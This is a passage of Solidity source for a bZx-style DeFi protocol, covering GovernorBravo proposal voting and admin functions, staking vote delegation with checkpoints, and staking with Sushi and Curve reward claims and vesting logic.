p.calldatas); } /** * @notice Gets the receipt for a voter on a given proposal * @param proposalId the id of proposal * @param voter The address of the voter * @return The voting receipt */ function getReceipt(uint proposalId, address voter) external view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } /** * @notice Gets the state of a proposal * @param proposalId The id of the proposal * @return Proposal state */ function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > initialProposalId, "GovernorBravo::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotesForProposal[proposalId]) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } /** * @notice Cast a vote for a proposal * @param proposalId The id of the proposal to vote on * @param support The support value for the vote. 0=against, 1=for, 2=abstain */ function castVote(uint proposalId, uint8 support) external { emit VoteCast(msg.sender, proposalId, support, castVoteInternal(msg.sender, proposalId, support), ""); } /** * @notice Cast a vote for a proposal with a reason * @param proposalId The id of the proposal to vote on * @param support The support value for the vote. 0=against, 1=for, 2=abstain * @param reason The reason given for the vote by the voter */ function castVoteWithReason(uint proposalId, uint8 support, string calldata reason) external { emit VoteCast(msg.sender, proposalId, support, castVoteInternal(msg.sender, proposalId, support), reason); } /** * @notice Cast a vote for a proposal by signature * @dev External function that accepts EIP-712 signatures for voting on proposals. */ function castVoteBySig(uint proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainIdInternal(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorBravo::castVoteBySig: invalid signature"); emit VoteCast(signatory, proposalId, support, castVoteInternal(signatory, proposalId, support), ""); } /** * @dev Allows batching to castVote function */ function castVotes(uint[] calldata proposalIds, uint8[] calldata supportVals) external { require(proposalIds.length == supportVals.length, "count mismatch"); for (uint256 i = 0; i < proposalIds.length; i++) { emit VoteCast(msg.sender, proposalIds[i], supportVals[i], castVoteInternal(msg.sender, proposalIds[i], supportVals[i]), ""); } } /** * @dev Allows batching to castVoteWithReason function */ function castVotesWithReason(uint[] calldata proposalIds, uint8[] calldata supportVals, string[] calldata reasons) external { require(proposalIds.length == supportVals.length && proposalIds.length == reasons.length, "count mismatch"); for (uint256 i = 0; i < proposalIds.length; i++) { emit VoteCast(msg.sender, proposalIds[i], supportVals[i], castVoteInternal(msg.sender, proposalIds[i], supportVals[i]), reasons[i]); } } /** * @dev Allows batching to castVoteBySig function */ function castVotesBySig(uint[] calldata proposalIds, uint8[] calldata supportVals, uint8[] calldata vs, bytes32[] calldata rs, bytes32[] calldata ss) external { require(proposalIds.length == supportVals.length && proposalIds.length == vs.length && proposalIds.length == rs.length && proposalIds.length == ss.length, "count mismatch"); for (uint256 i = 0; i < proposalIds.length; i++) { castVoteBySig(proposalIds[i], supportVals[i], vs[i], rs[i], ss[i]); } } /** * @notice Internal function that caries out voting logic * @param voter The voter that is casting their vote * @param proposalId The id of the proposal to vote on * @param support The support value for the vote. 0=against, 1=for, 2=abstain * @return The number of votes cast */ function castVoteInternal(address voter, uint proposalId, uint8 support) internal returns (uint96) { require(state(proposalId) == ProposalState.Active, "GovernorBravo::castVoteInternal: voting is closed"); require(support <= 2, "GovernorBravo::castVoteInternal: invalid vote type"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorBravo::castVoteInternal: voter already voted"); // 2**96-1 is greater than total supply of bzrx 1.3b*1e18 thus guaranteeing it won't ever overflow uint96 votes = uint96(staking.votingBalanceOf(voter, proposalId)); if (support == 0) { proposal.againstVotes = add256(proposal.againstVotes, votes); } else if (support == 1) { proposal.forVotes = add256(proposal.forVotes, votes); } else if (support == 2) { proposal.abstainVotes = add256(proposal.abstainVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; return votes; } /** * @notice Admin function for setting the voting delay * @param newVotingDelay new voting delay, in blocks */ function __setVotingDelay(uint newVotingDelay) external { require(msg.sender == admin, "GovernorBravo::__setVotingDelay: admin only"); require(newVotingDelay >= MIN_VOTING_DELAY && newVotingDelay <= MAX_VOTING_DELAY, "GovernorBravo::__setVotingDelay: invalid voting delay"); uint oldVotingDelay = votingDelay; votingDelay = newVotingDelay; emit VotingDelaySet(oldVotingDelay,votingDelay); } /** * @notice Admin function for setting the voting period * @param newVotingPeriod new voting period, in blocks */ function __setVotingPeriod(uint newVotingPeriod) external { require(msg.sender == admin, "GovernorBravo::__setVotingPeriod: admin only"); require(newVotingPeriod >= MIN_VOTING_PERIOD && newVotingPeriod <= MAX_VOTING_PERIOD, "GovernorBravo::__setVotingPeriod: invalid voting period"); uint oldVotingPeriod = votingPeriod; votingPeriod = newVotingPeriod; emit VotingPeriodSet(oldVotingPeriod, votingPeriod); } /** * @notice Admin function for setting the proposal threshold * @dev newProposalThreshold must be greater than the hardcoded min * @param newProposalThreshold new proposal threshold */ function __setProposalThreshold(uint newProposalThreshold) external { require(msg.sender == admin, "GovernorBravo::__setProposalThreshold: admin only"); require(newProposalThreshold >= MIN_PROPOSAL_THRESHOLD && newProposalThreshold <= MAX_PROPOSAL_THRESHOLD, "GovernorBravo::__setProposalThreshold: invalid proposal threshold"); uint oldProposalThreshold = proposalThreshold; proposalThreshold = newProposalThreshold; emit ProposalThresholdSet(oldProposalThreshold, proposalThreshold); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `__acceptLocalAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `__acceptLocalAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. */ function __setPendingLocalAdmin(address newPendingAdmin) external { // Check caller = admin require(msg.sender == admin, "GovernorBravo:__setPendingLocalAdmin: admin only"); // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin */ function __acceptLocalAdmin() external { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) require(msg.sender == pendingAdmin && msg.sender != address(0), "GovernorBravo:__acceptLocalAdmin: pending admin only"); // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); } function __changeGuardian(address guardian_) public { require(msg.sender == guardian, "GovernorBravo::__changeGuardian: sender must be gov guardian"); require(guardian_ != address(0), "GovernorBravo::__changeGuardian: not allowed"); guardian = guardian_; } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorBravo::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorBravo::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorBravo::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorBravo::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainIdInternal() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } contract StakingVoteDelegatorState is StakingUpgradeable { // A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; } contract StakingVoteDelegatorConstants { address constant internal ZERO_ADDRESS = address(0); IStaking constant staking = IStaking(0xe95Ebce2B02Ee07dEF5Ed6B53289801F7Fc137A4); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); } contract StakingVoteDelegator is StakingVoteDelegatorState, StakingVoteDelegatorConstants { using SafeMath for uint256; using SafeERC20 for IERC20; /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { if(delegatee == ZERO_ADDRESS){ delegatee = msg.sender; } return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes("STAKING")), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Staking::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Staking::delegateBySig: invalid nonce"); require(now <= expiry, "Staking::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint256) { require(blockNumber < block.number, "Staking::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = staking.votingFromStakedBalanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function moveDelegates(address srcRep, address dstRep, uint256 amount) public { require(msg.sender == address(staking), "unauthorized"); _moveDelegates(srcRep, dstRep, amount); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub((amount > srcRepOld)? srcRepOld : amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "Staking::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } contract StakingV1_1 is StakingState, StakingConstants, PausableGuardian { using MathUtil for uint256; modifier onlyEOA() { require(msg.sender == tx.origin, "unauthorized"); _; } function getCurrentFeeTokens() external view returns (address[] memory) { return currentFeeTokens; } function _pendingSushiRewards(address _user) internal view returns (uint256) { uint256 pendingSushi = IMasterChefSushi(SUSHI_MASTERCHEF) .pendingSushi(BZRX_ETH_SUSHI_MASTERCHEF_PID, address(this)); uint256 totalSupply = _totalSupplyPerToken[LPToken]; return _pendingAltRewards( SUSHI, _user, balanceOfByAsset(LPToken, _user), totalSupply != 0 ? pendingSushi.mul(1e12).div(totalSupply) : 0 ); } function pendingCrvRewards(address account) external returns(uint256){ (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting) = _earned( account, bzrxPerTokenStored, stableCoinPerTokenStored ); (,stableCoinRewardsEarned) = _syncVesting( account, bzrxRewardsEarned, stableCoinRewardsEarned, bzrxRewardsVesting, stableCoinRewardsVesting ); return _pendingCrvRewards(account, stableCoinRewardsEarned); } function _pendingCrvRewards(address _user, uint256 stableCoinRewardsEarned) internal returns (uint256) { uint256 totalSupply = curve3PoolGauge.balanceOf(address(this)); uint256 pendingCrv = curve3PoolGauge.claimable_tokens(address(this)); return _pendingAltRewards( CRV, _user, stableCoinRewardsEarned, (totalSupply != 0) ? pendingCrv.mul(1e12).div(totalSupply) : 0 ); } function _pendingAltRewards(address token, address _user, uint256 userSupply, uint256 extraRewardsPerShare) internal view returns (uint256) { uint256 _altRewardsPerShare = altRewardsPerShare[token].add(extraRewardsPerShare); if (_altRewardsPerShare == 0) return 0; IStaking.AltRewardsUserInfo memory altRewardsUserInfo = userAltRewardsPerShare[_user][token]; return altRewardsUserInfo.pendingRewards.add( (_altRewardsPerShare.sub(altRewardsUserInfo.rewardsPerShare)).mul(userSupply).div(1e12) ); } function _depositToSushiMasterchef(uint256 amount) internal { uint256 sushiBalanceBefore = IERC20(SUSHI).balanceOf(address(this)); IMasterChefSushi(SUSHI_MASTERCHEF).deposit( BZRX_ETH_SUSHI_MASTERCHEF_PID, amount ); uint256 sushiRewards = IERC20(SUSHI).balanceOf(address(this)) - sushiBalanceBefore; if (sushiRewards != 0) { _addAltRewards(SUSHI, sushiRewards); } } function _withdrawFromSushiMasterchef(uint256 amount) internal { uint256 sushiBalanceBefore = IERC20(SUSHI).balanceOf(address(this)); IMasterChefSushi(SUSHI_MASTERCHEF).withdraw( BZRX_ETH_SUSHI_MASTERCHEF_PID, amount ); uint256 sushiRewards = IERC20(SUSHI).balanceOf(address(this)) - sushiBalanceBefore; if (sushiRewards != 0) { _addAltRewards(SUSHI, sushiRewards); } } function _depositTo3Pool( uint256 amount) internal { if(amount == 0) curve3PoolGauge.deposit(curve3Crv.balanceOf(address(this))); // Trigger claim rewards from curve pool uint256 crvBalanceBefore = IERC20(CRV).balanceOf(address(this)); curveMinter.mint(address(curve3PoolGauge)); uint256 crvBalanceAfter = IERC20(CRV).balanceOf(address(this)) - crvBalanceBefore; if(crvBalanceAfter != 0){ _addAltRewards(CRV, crvBalanceAfter); } } function _withdrawFrom3Pool(uint256 amount) internal { if(amount != 0) curve3PoolGauge.withdraw(amount); //Trigger claim rewards from curve pool uint256 crvBalanceBefore = IERC20(CRV).balanceOf(address(this)); curveMinter.mint(address(curve3PoolGauge)); uint256 crvBalanceAfter = IERC20(CRV).balanceOf(address(this)) - crvBalanceBefore; if(crvBalanceAfter != 0){ _addAltRewards(CRV, crvBalanceAfter); } } function stake( address[] memory tokens, uint256[] memory values ) public pausable updateRewards(msg.sender) { require(tokens.length == values.length, "count mismatch"); StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator); address currentDelegate = _voteDelegator.delegates(msg.sender); ProposalState memory _proposalState = _getProposalState(); uint256 votingBalanceBefore = _votingFromStakedBalanceOf(msg.sender, _proposalState, true); for (uint256 i = 0; i < tokens.length; i++) { address token = tokens[i]; require(token == BZRX || token == vBZRX || token == iBZRX || token == LPToken, "invalid token"); uint256 stakeAmount = values[i]; if (stakeAmount == 0) { continue; } uint256 pendingBefore = (token == LPToken) ? _pendingSushiRewards(msg.sender) : 0; _balancesPerToken[token][msg.sender] = _balancesPerToken[token][msg.sender].add(stakeAmount); _totalSupplyPerToken[token] = _totalSupplyPerToken[token].add(stakeAmount); IERC20(token).safeTransferFrom(msg.sender, address(this), stakeAmount); // Deposit to sushi masterchef if (token == LPToken) { _depositToSushiMasterchef( IERC20(LPToken).balanceOf(address(this)) ); userAltRewardsPerShare[msg.sender][SUSHI] = IStaking.AltRewardsUserInfo({ rewardsPerShare: altRewardsPerShare[SUSHI], pendingRewards: pendingBefore } ); } emit Stake( msg.sender, token, currentDelegate, stakeAmount ); } _voteDelegator.moveDelegates(ZERO_ADDRESS, currentDelegate, _votingFromStakedBalanceOf(msg.sender, _proposalState, true).sub(votingBalanceBefore)); } function unstake( address[] memory tokens, uint256[] memory values ) public pausable updateRewards(msg.sender) { require(tokens.length == values.length, "count mismatch"); StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator); address currentDelegate = _voteDelegator.delegates(msg.sender); ProposalState memory _proposalState = _getProposalState(); uint256 votingBalanceBefore = _votingFromStakedBalanceOf(msg.sender, _proposalState, true); for (uint256 i = 0; i < tokens.length; i++) { address token = tokens[i]; require(token == BZRX || token == vBZRX || token == iBZRX || token == LPToken || token == LPTokenOld, "invalid token"); uint256 unstakeAmount = values[i]; uint256 stakedAmount = _balancesPerToken[token][msg.sender]; if (unstakeAmount == 0 || stakedAmount == 0) { continue; } if (unstakeAmount > stakedAmount) { unstakeAmount = stakedAmount; } uint256 pendingBefore = (token == LPToken) ? _pendingSushiRewards(msg.sender) : 0; _balancesPerToken[token][msg.sender] = stakedAmount - unstakeAmount; // will not overflow _totalSupplyPerToken[token] = _totalSupplyPerToken[token] - unstakeAmount; // will not overflow if (token == BZRX && IERC20(BZRX).balanceOf(address(this)) < unstakeAmount) { // settle vested BZRX only if needed IVestingToken(vBZRX).claim(); } // Withdraw to sushi masterchef if (token == LPToken) { _withdrawFromSushiMasterchef(unstakeAmount); userAltRewardsPerShare[msg.sender][SUSHI] = IStaking.AltRewardsUserInfo({ rewardsPerShare: altRewardsPerShare[SUSHI], pendingRewards: pendingBefore } ); } IERC20(token).safeTransfer(msg.sender, unstakeAmount); emit Unstake( msg.sender, token, currentDelegate, unstakeAmount ); } _voteDelegator.moveDelegates(currentDelegate, ZERO_ADDRESS, votingBalanceBefore.sub(_votingFromStakedBalanceOf(msg.sender, _proposalState, true))); } function claim( bool restake) external pausable updateRewards(msg.sender) returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned) { return _claim(restake); } function claimAltRewards() external pausable returns (uint256 sushiRewardsEarned, uint256 crvRewardsEarned) { sushiRewardsEarned = _claimSushi(); crvRewardsEarned = _claimCrv(); if(sushiRewardsEarned != 0){ emit ClaimAltRewards(msg.sender, SUSHI, sushiRewardsEarned); } if(crvRewardsEarned != 0){ emit ClaimAltRewards(msg.sender, CRV, crvRewardsEarned); } } function claimBzrx() external pausable updateRewards(msg.sender) returns (uint256 bzrxRewardsEarned) { bzrxRewardsEarned = _claimBzrx(false); emit Claim( msg.sender, bzrxRewardsEarned, 0 ); } function claim3Crv() external pausable updateRewards(msg.sender) returns (uint256 stableCoinRewardsEarned) { stableCoinRewardsEarned = _claim3Crv(); emit Claim( msg.sender, 0, stableCoinRewardsEarned ); } function claimSushi() external pausable returns (uint256 sushiRewardsEarned) { sushiRewardsEarned = _claimSushi(); if(sushiRewardsEarned != 0){ emit ClaimAltRewards(msg.sender, SUSHI, sushiRewardsEarned); } } function claimCrv() external pausable returns (uint256 crvRewardsEarned) { crvRewardsEarned = _claimCrv(); if(crvRewardsEarned != 0){ emit ClaimAltRewards(msg.sender, CRV, crvRewardsEarned); } } function _claim( bool restake) internal returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned) { bzrxRewardsEarned = _claimBzrx(restake); stableCoinRewardsEarned = _claim3Crv(); emit Claim( msg.sender, bzrxRewardsEarned, stableCoinRewardsEarned ); } function _claimBzrx( bool restake) internal returns (uint256 bzrxRewardsEarned) { bzrxRewardsEarned = bzrxRewards[msg.sender]; if (bzrxRewardsEarned != 0) { bzrxRewards[msg.sender] = 0; if (restake) { _restakeBZRX( msg.sender, bzrxRewardsEarned ); } else { if (IERC20(BZRX).balanceOf(address(this)) < bzrxRewardsEarned) { // settle vested BZRX only if needed IVestingToken(vBZRX).claim(); } IERC20(BZRX).transfer(msg.sender, bzrxRewardsEarned); } } } function _claim3Crv() internal returns (uint256 stableCoinRewardsEarned) { stableCoinRewardsEarned = stableCoinRewards[msg.sender]; if (stableCoinRewardsEarned != 0) { uint256 pendingCrv = _pendingCrvRewards(msg.sender, stableCoinRewardsEarned); uint256 curve3CrvBalance = curve3Crv.balanceOf(address(this)); _withdrawFrom3Pool(stableCoinRewardsEarned); userAltRewardsPerShare[msg.sender][CRV] = IStaking.AltRewardsUserInfo({ rewardsPerShare: altRewardsPerShare[CRV], pendingRewards: pendingCrv } ); stableCoinRewards[msg.sender] = 0; curve3Crv.transfer(msg.sender, stableCoinRewardsEarned); } } function _claimSushi() internal returns (uint256) { address _user = msg.sender; uint256 lptUserSupply = balanceOfByAsset(LPToken, _user); //This will trigger claim rewards from sushi masterchef _depositToSushiMasterchef( IERC20(LPToken).balanceOf(address(this)) ); uint256 pendingSushi = _pendingAltRewards(SUSHI, _user, lptUserSupply, 0); userAltRewardsPerShare[_user][SUSHI] = IStaking.AltRewardsUserInfo({ rewardsPerShare: altRewardsPerShare[SUSHI], pendingRewards: 0 } ); if (pendingSushi != 0) { IERC20(SUSHI).safeTransfer(_user, pendingSushi); } return pendingSushi; } function _claimCrv() internal returns (uint256) { address _user = msg.sender; _depositTo3Pool(0); (,uint256 stableCoinRewardsEarned,,) = _earned(_user, bzrxPerTokenStored, stableCoinPerTokenStored); uint256 pendingCrv = _pendingCrvRewards(_user, stableCoinRewardsEarned); userAltRewardsPerShare[_user][CRV] = IStaking.AltRewardsUserInfo({ rewardsPerShare: altRewardsPerShare[CRV], pendingRewards: 0 } ); if (pendingCrv != 0) { IERC20(CRV).safeTransfer(_user, pendingCrv); } return pendingCrv; } function _restakeBZRX( address account, uint256 amount) internal { StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator); address currentDelegate = _voteDelegator.delegates(msg.sender); ProposalState memory _proposalState = _getProposalState(); uint256 votingBalanceBefore = _votingFromStakedBalanceOf(msg.sender, _proposalState, true); _balancesPerToken[BZRX][account] = _balancesPerToken[BZRX][account] .add(amount); _totalSupplyPerToken[BZRX] = _totalSupplyPerToken[BZRX] .add(amount); emit Stake( account, BZRX, currentDelegate, amount ); _voteDelegator.moveDelegates(ZERO_ADDRESS, currentDelegate, _votingFromStakedBalanceOf(msg.sender, _proposalState, true).sub(votingBalanceBefore)); } function exit() public // unstake() does check pausable { address[] memory tokens = new address[](4); uint256[] memory values = new uint256[](4); tokens[0] = iBZRX; tokens[1] = LPToken; tokens[2] = vBZRX; tokens[3] = BZRX; values[0] = uint256(-1); values[1] = uint256(-1); values[2] = uint256(-1); values[3] = uint256(-1); unstake(tokens, values); // calls updateRewards _claim(false); } modifier updateRewards(address account) { uint256 _bzrxPerTokenStored = bzrxPerTokenStored; uint256 _stableCoinPerTokenStored = stableCoinPerTokenStored; (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting) = _earned( account, _bzrxPerTokenStored, _stableCoinPerTokenStored ); bzrxRewardsPerTokenPaid[account] = _bzrxPerTokenStored; stableCoinRewardsPerTokenPaid[account] = _stableCoinPerTokenStored; // vesting amounts get updated before sync bzrxVesting[account] = bzrxRewardsVesting; stableCoinVesting[account] = stableCoinRewardsVesting; (bzrxRewards[account], stableCoinRewards[account]) = _syncVesting( account, bzrxRewardsEarned, stableCoinRewardsEarned, bzrxRewardsVesting, stableCoinRewardsVesting ); vestingLastSync[account] = block.timestamp; _; } function earned( address account) external view returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting, uint256 sushiRewardsEarned) { (bzrxRewardsEarned, stableCoinRewardsEarned, bzrxRewardsVesting, stableCoinRewardsVesting) = _earned( account, bzrxPerTokenStored, stableCoinPerTokenStored ); (bzrxRewardsEarned, stableCoinRewardsEarned) = _syncVesting( account, bzrxRewardsEarned, stableCoinRewardsEarned, bzrxRewardsVesting, stableCoinRewardsVesting ); // discount vesting amounts for vesting time uint256 multiplier = vestedBalanceForAmount( 1e36, 0, block.timestamp ); bzrxRewardsVesting = bzrxRewardsVesting .sub(bzrxRewardsVesting .mul(multiplier) .div(1e36) ); stableCoinRewardsVesting = stableCoinRewardsVesting .sub(stableCoinRewardsVesting .mul(multiplier) .div(1e36) ); uint256 pendingSushi = IMasterChefSushi(SUSHI_MASTERCHEF) .pendingSushi(BZRX_ETH_SUSHI_MASTERCHEF_PID, address(this)); sushiRewardsEarned = _pendingAltRewards( SUSHI, account, balanceOfByAsset(LPToken, account), (_totalSupplyPerToken[LPToken] != 0) ? pendingSushi.mul(1e12).div(_totalSupplyPerToken[LPToken]) : 0 ); } function _earned( address account, uint256 _bzrxPerToken, uint256 _stableCoinPerToken) internal view returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting) { uint256 bzrxPerTokenUnpaid = _bzrxPerToken.sub(bzrxRewardsPerTokenPaid[account]); uint256 stableCoinPerTokenUnpaid = _stableCoinPerToken.sub(stableCoinRewardsPerTokenPaid[account]); bzrxRewardsEarned = bzrxRewards[account]; stableCoinRewardsEarned = stableCoinRewards[account]; bzrxRewardsVesting = bzrxVesting[account]; stableCoinRewardsVesting = stableCoinVesting[account]; if (bzrxPerTokenUnpaid != 0 || stableCoinPerTokenUnpaid != 0) { uint256 value; uint256 multiplier; uint256 lastSync; (uint256 vestedBalance, uint256 vestingBalance) = balanceOfStored(account); value = vestedBalance .mul(bzrxPerTokenUnpaid); value /= 1e36; bzrxRewardsEarned = value .add(bzrxRewardsEarned); value = vestedBalance .mul(stableCoinPerTokenUnpaid); value /= 1e36; stableCoinRewardsEarned = value .add(stableCoinRewardsEarned); if (vestingBalance != 0 && bzrxPerTokenUnpaid != 0) { // add new vesting amount for BZRX value = vestingBalance .mul(bzrxPerTokenUnpaid); value /= 1e36; bzrxRewardsVesting = bzrxRewardsVesting .add(value); // true up earned amount to vBZRX vesting schedule lastSync = vestingLastSync[account]; multiplier = vestedBalanceForAmount( 1e36, 0, lastSync ); value = value .mul(multiplier); value /= 1e36; bzrxRewardsEarned = bzrxRewardsEarned .add(value); } if (vestingBalance != 0 && stableCoinPerTokenUnpaid != 0) { // add new vesting amount for 3crv value = vestingBalance .mul(stableCoinPerTokenUnpaid); value /= 1e36; stableCoinRewardsVesting = stableCoinRewardsVesting .add(value); // true up earned amount to vBZRX vesting schedule if (lastSync == 0) { lastSync = vestingLastSync[account]; multiplier = vestedBalanceForAmount( 1e36, 0, lastSync ); } value = value .mul(multiplier); value /= 1e36; stableCoinRewardsEarned = stableCoinRewardsEarned .add(value); } } } function _syncVesting( address account, uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting) internal view returns (uint256, uint256) { uint256 lastVestingSync = vestingLastSync[account]; if 